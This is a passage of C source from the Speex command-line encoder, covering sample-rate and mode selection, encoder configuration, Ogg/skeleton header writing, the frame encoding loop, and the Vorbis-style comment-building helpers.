fprintf (stderr, "Warning: Trying to encode in %s at %d Hz. I'll do it but I suggest you try narrowband instead\n", mode->modeName , rate);
}
} else {
fprintf (stderr, "Error: sampling rate too low: %d Hz\n", rate);
exit(1);
}
} else if (modeID==-1)
{
if (rate>48000)
{
fprintf (stderr, "Error: sampling rate too high: %d Hz, try down-sampling\n", rate);
exit(1);
} else if (rate>25000)
{
modeID = SPEEX_MODEID_UWB;
} else if (rate>12500)
{
modeID = SPEEX_MODEID_WB;
} else if (rate>=6000)
{
modeID = SPEEX_MODEID_NB;
} else {
fprintf (stderr, "Error: Sampling rate too low: %d Hz\n", rate);
exit(1);
}
} else if (!rate)
{
if (modeID == SPEEX_MODEID_NB)
rate=8000;
else if (modeID == SPEEX_MODEID_WB)
rate=16000;
else if (modeID == SPEEX_MODEID_UWB)
rate=32000;
}
if (!quiet)
if (rate!=8000 && rate!=16000 && rate!=32000)
fprintf (stderr, "Warning: Speex is only optimized for 8, 16 and 32 kHz. It will still work at %d Hz but your mileage may vary\n", rate);
if (!mode)
mode = speex_lib_get_mode (modeID);
speex_init_header(&header, rate, 1, mode);
header.frames_per_packet=nframes;
header.vbr=vbr_enabled;
header.nb_channels = chan;
{
char *st_string="mono";
if (chan==2)
st_string="stereo";
if (!quiet)
fprintf (stderr, "Encoding %d Hz audio using %s mode (%s)\n",
header.rate, mode->modeName, st_string);
}
/*fprintf (stderr, "Encoding %d Hz audio at %d bps using %s mode\n",
header.rate, mode->bitrate, mode->modeName);*/
/*Initialize Speex encoder*/
st = speex_encoder_init(mode);
if (strcmp(outFile,"-")==0)
{
#if defined WIN32 || defined _WIN32
_setmode(_fileno(stdout), _O_BINARY);
#endif
fout=stdout;
}
else
{
fout = fopen(outFile, "wb");
if (!fout)
{
perror(outFile);
exit(1);
}
close_out=1;
}
speex_encoder_ctl(st, SPEEX_GET_FRAME_SIZE, &frame_size);
speex_encoder_ctl(st, SPEEX_SET_COMPLEXITY, &complexity);
speex_encoder_ctl(st, SPEEX_SET_SAMPLING_RATE, &rate);
if (quality >= 0)
{
if (vbr_enabled)
{
if (vbr_max>0)
speex_encoder_ctl(st, SPEEX_SET_VBR_MAX_BITRATE, &vbr_max);
speex_encoder_ctl(st, SPEEX_SET_VBR_QUALITY, &vbr_quality);
}
else
speex_encoder_ctl(st, SPEEX_SET_QUALITY, &quality);
}
if (bitrate)
{
if (quality >= 0 && vbr_enabled)
fprintf (stderr, "Warning: --bitrate option is overriding --quality\n");
speex_encoder_ctl(st, SPEEX_SET_BITRATE, &bitrate);
}
if (vbr_enabled)
{
tmp=1;
speex_encoder_ctl(st, SPEEX_SET_VBR, &tmp);
} else if (vad_enabled)
{
tmp=1;
speex_encoder_ctl(st, SPEEX_SET_VAD, &tmp);
}
if (dtx_enabled)
speex_encoder_ctl(st, SPEEX_SET_DTX, &tmp);
if (dtx_enabled && !(vbr_enabled || abr_enabled || vad_enabled))
{
fprintf (stderr, "Warning: --dtx is useless without --vad, --vbr or --abr\n");
} else if ((vbr_enabled || abr_enabled) && (vad_enabled))
{
fprintf (stderr, "Warning: --vad is already implied by --vbr or --abr\n");
}
if (with_skeleton) {
fprintf (stderr, "Warning: Enabling skeleton output may cause some decoders to fail.\n");
}
if (abr_enabled)
{
speex_encoder_ctl(st, SPEEX_SET_ABR, &abr_enabled);
}
speex_encoder_ctl(st, SPEEX_GET_LOOKAHEAD, &lookahead);
if (denoise_enabled || agc_enabled)
{
preprocess = speex_preprocess_state_init(frame_size, rate);
speex_preprocess_ctl(preprocess, SPEEX_PREPROCESS_SET_DENOISE, &denoise_enabled);
speex_preprocess_ctl(preprocess, SPEEX_PREPROCESS_SET_AGC, &agc_enabled);
lookahead += frame_size;
}
/* first packet should be the skeleton header. */
if (with_skeleton) {
add_fishead_packet(&so);
if ((ret = flush_ogg_stream_to_file(&so, fout))) {
fprintf (stderr,"Error: failed skeleton (fishead) header to output stream\n");
exit(1);
} else
bytes_written += ret;
}
/*Write header*/
{
int packet_size;
op.packet = (unsigned char *)speex_header_to_packet(&header, &packet_size);
op.bytes = packet_size;
op.b_o_s = 1;
op.e_o_s = 0;
op.granulepos = 0;
op.packetno = 0;
ogg_stream_packetin(&os, &op);
free(op.packet);
while((result = ogg_stream_flush(&os, &og)))
{
if(!result) break;
ret = oe_write_page(&og, fout);
if(ret != og.header_len + og.body_len)
{
fprintf (stderr,"Error: failed writing header to output stream\n");
exit(1);
}
else
bytes_written += ret;
}
op.packet = (unsigned char *)comments;
op.bytes = comments_length;
op.b_o_s = 0;
op.e_o_s = 0;
op.granulepos = 0;
op.packetno = 1;
ogg_stream_packetin(&os, &op);
}
/* fisbone packet should be write after all bos pages */
if (with_skeleton) {
add_fisbone_packet(&so, os.serialno, &header);
if ((ret = flush_ogg_stream_to_file(&so, fout))) {
fprintf (stderr,"Error: failed writing skeleton (fisbone )header to output stream\n");
exit(1);
} else
bytes_written += ret;
}
/* writing the rest of the speex header packets */
while((result = ogg_stream_flush(&os, &og)))
{
if(!result) break;
ret = oe_write_page(&og, fout);
if(ret != og.header_len + og.body_len)
{
fprintf (stderr,"Error: failed writing header to output stream\n");
exit(1);
}
else
bytes_written += ret;
}
free(comments);
/* write the skeleton eos packet */
if (with_skeleton) {
add_eos_packet_to_stream(&so);
if ((ret = flush_ogg_stream_to_file(&so, fout))) {
fprintf (stderr,"Error: failed writing skeleton header to output stream\n");
exit(1);
} else
bytes_written += ret;
}
speex_bits_init(&bits);
if (!wave_input)
{
nb_samples = read_samples(fin,frame_size,fmt,chan,lsb,input, first_bytes, NULL);
} else {
nb_samples = read_samples(fin,frame_size,fmt,chan,lsb,input, NULL, &size);
}
if (nb_samples==0)
eos=1;
total_samples += nb_samples;
nb_encoded = -lookahead;
/*Main encoding loop (one frame per iteration)*/
while (!eos || total_samples>nb_encoded)
{
id++;
/*Encode current frame*/
if (chan==2)
speex_encode_stereo_int(input, frame_size, &bits);
if (preprocess)
speex_preprocess(preprocess, input, NULL);
speex_encode_int(st, input, &bits);
nb_encoded += frame_size;
if (print_bitrate) {
int tmp;
char ch=13;
speex_encoder_ctl(st, SPEEX_GET_BITRATE, &tmp);
fputc (ch, stderr);
cumul_bits += tmp;
enc_frames += 1;
if (!quiet)
{
if (vad_enabled || vbr_enabled || abr_enabled)
fprintf (stderr, "Bitrate is use: %d bps (average %d bps) ", tmp, (int)(cumul_bits/enc_frames));
else
fprintf (stderr, "Bitrate is use: %d bps ", tmp);
}
}
if (wave_input)
{
nb_samples = read_samples(fin,frame_size,fmt,chan,lsb,input, NULL, &size);
} else {
nb_samples = read_samples(fin,frame_size,fmt,chan,lsb,input, NULL, NULL);
}
if (nb_samples==0)
{
eos=1;
}
if (eos && total_samples<=nb_encoded)
op.e_o_s = 1;
else
op.e_o_s = 0;
total_samples += nb_samples;
if ((id+1)%nframes!=0)
continue;
speex_bits_insert_terminator(&bits);
nbBytes = speex_bits_write(&bits, cbits, MAX_FRAME_BYTES);
speex_bits_reset(&bits);
op.packet = (unsigned char *)cbits;
op.bytes = nbBytes;
op.b_o_s = 0;
/*Is this redundent?*/
if (eos && total_samples<=nb_encoded)
op.e_o_s = 1;
else
op.e_o_s = 0;
op.granulepos = (id+1)*frame_size-lookahead;
if (op.granulepos>total_samples)
op.granulepos = total_samples;
/*printf ("granulepos: %d %d %d %d %d %d\n", (int)op.granulepos, id, nframes, lookahead, 5, 6);*/
op.packetno = 2+id/nframes;
ogg_stream_packetin(&os, &op);
/*Write all new pages (most likely 0 or 1)*/
while (ogg_stream_pageout(&os,&og))
{
ret = oe_write_page(&og, fout);
if(ret != og.header_len + og.body_len)
{
fprintf (stderr,"Error: failed writing header to output stream\n");
exit(1);
}
else
bytes_written += ret;
}
}
if ((id+1)%nframes!=0)
{
while ((id+1)%nframes!=0)
{
id++;
speex_bits_pack(&bits, 15, 5);
}
nbBytes = speex_bits_write(&bits, cbits, MAX_FRAME_BYTES);
op.packet = (unsigned char *)cbits;
op.bytes = nbBytes;
op.b_o_s = 0;
op.e_o_s = 1;
op.granulepos = (id+1)*frame_size-lookahead;
if (op.granulepos>total_samples)
op.granulepos = total_samples;
op.packetno = 2+id/nframes;
ogg_stream_packetin(&os, &op);
}
/*Flush all pages left to be written*/
while (ogg_stream_flush(&os, &og))
{
ret = oe_write_page(&og, fout);
if(ret != og.header_len + og.body_len)
{
fprintf (stderr,"Error: failed writing header to output stream\n");
exit(1);
}
else
bytes_written += ret;
}
speex_encoder_destroy(st);
speex_bits_destroy(&bits);
ogg_stream_clear(&os);
if (close_in)
fclose(fin);
if (close_out)
fclose(fout);
return 0;
}
/*
Comments will be stored in the Vorbis style.
It is describled in the "Structure" section of
http://www.xiph.org/ogg/vorbis/doc/v-comment.html
The comment header is decoded as follows:
1) [vendor_length] = read an unsigned integer of 32 bits
2) [vendor_string] = read a UTF-8 vector as [vendor_length] octets
3) [user_comment_list_length] = read an unsigned integer of 32 bits
4) iterate [user_comment_list_length] times {
5) [length] = read an unsigned integer of 32 bits
6) this iteration's user comment = read a UTF-8 vector as [length] octets
}
7) [framing_bit] = read a single bit as boolean
8) if ( [framing_bit] unset or end of packet ) then ERROR
9) done.
If you have troubles, please write to [email protected].
*/
#define readint(buf, base) (((buf[base+3]<<24)&0xff000000)| \
((buf[base+2]<<16)&0xff0000)| \
((buf[base+1]<<8)&0xff00)| \
(buf[base]&0xff))
#define writeint(buf, base, val) do{ buf[base+3]=((val)>>24)&0xff; \
buf[base+2]=((val)>>16)&0xff; \
buf[base+1]=((val)>>8)&0xff; \
buf[base]=(val)&0xff; \
}while(0)
void comment_init(char **comments, int* length, char *vendor_string)
{
int vendor_length=strlen(vendor_string);
int user_comment_list_length=0;
int len=4+vendor_length+4;
char *p=(char*)malloc(len);
if(p==NULL){
fprintf (stderr, "malloc failed in comment_init()\n");
exit(1);
}
writeint(p, 0, vendor_length);
memcpy(p+4, vendor_string, vendor_length);
writeint(p, 4+vendor_length, user_comment_list_length);
*length=len;
*comments=p;
}
void comment_add(char **comments, int* length, char *tag, char *val)
{
char* p=*comments;
int vendor_length=readint(p, 0);
int user_comment_list_length=readint(p, 4+vendor_length);
int tag_len=(tag?strlen(tag):0);
int val_len=strlen(val);
int len=(*length)+4+tag_len+val_len;
p=(char*)realloc(p, len);
if(p==NULL){
fprintf (stderr, "realloc failed in comment_add()\n");
exit(1);
}
writeint(p, *length, tag_len+val_len); /* length of comment */
if(tag) memcpy(p+*length+4, tag, tag_len); /* comment */
memcpy(p+*length+4+tag_len, val, val_len); /* comment */
writeint(p, 4+vendor_length, user_comment_list_length+1);
*comments=p;
*length=len;
}
#undef readint
#undef writeint
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.